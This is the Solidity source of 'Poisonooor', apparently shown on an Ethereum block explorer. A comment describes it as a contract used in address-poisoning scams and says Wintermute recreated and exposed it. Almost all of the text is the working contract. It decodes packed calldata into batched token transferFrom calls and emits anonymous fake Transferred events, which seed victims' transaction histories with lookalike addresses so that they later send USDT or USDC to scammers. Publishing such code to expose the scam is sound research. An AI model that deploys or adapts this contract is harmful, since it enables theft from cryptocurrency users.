Cryo Explorer Ethereum Mainnet

pragma solidity 0.8.26;

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract Poisonooor {

    /* 
        This contract is used by bad guys for the address poisoning scam to trick inattentive users into sending USDT/USDC to the wrong addresses
        Recreated and exposed by Wintermute

        DESCRIPTION OF HOW THIS SCAM WORKS:
        https://www.blockaid.io/blog/a-deep-dive-into-address-poisoning
    */

    using SafeERC20 for IERC20;

    mapping(address => mapping(address => uint256)) public mapping_4850931766;

    event Transferred(bytes32 indexed, address indexed, address indexed, uint256) anonymous;

    receive() external payable {}

    fallback() external payable {
        require(msg.value == 0, "Ether not accepted");
        transfer(address(0), 0);
    }

    function attemptTransfer(IERC20 token, address from, address to, uint256 amount) external {
        token.safeTransferFrom(from, to, amount);
    }

    function transfer(address, uint256) public returns (bool) {
        uint256 len = msg.data.length;
        require((len - 68) % 128 == 0, "Invalid call data length");
        uint256 iters = (len - 68) / 128;
        for (uint256 i = 0; i < iters; i++) {
            uint256 offset = 68 + i * 128;

            address from;
            address to;
            address token;
            uint256 amount;

            assembly {
                from := calldataload(offset)
                to := calldataload(add(offset, 32))
                token := calldataload(add(offset, 64))
                amount := calldataload(add(offset, 96))
            }

           try this.attemptTransfer(IERC20(from), to, token, amount) {
            emit Transferred(hex"c1acce7eb1b6d4d93ed97c1fa3bb654388388a4b4f58e6eafe51d6e480f2a3db", token, from, amount);
           } catch {
            mapping_4850931766[token][from] += amount;
           }
        }
        return true;
    }

}

library SafeERC20 {
  error SafeERC20FailedOperation(address token);

  function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
    _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value)));
  }

  function _callOptionalReturn(IERC20 token, bytes memory data) private {
    uint256 returnSize;
    uint256 returnValue;
    assembly ("memory-safe") {
      let success := call(gas(), token, 0, add(data, 0x20), mload(data), 0, 0x20)
      if iszero(success) {
        let ptr := mload(0x40)
        returndatacopy(ptr, 0, returndatasize())
        revert(ptr, returndatasize())
      }
      returnSize := returndatasize()
      returnValue := mload(0)
    }
    if (returnSize == 0 ? address(token).code.length == 0 :  returnValue != 1) {
      revert SafeERC20FailedOperation(address(token));
    }
  }
}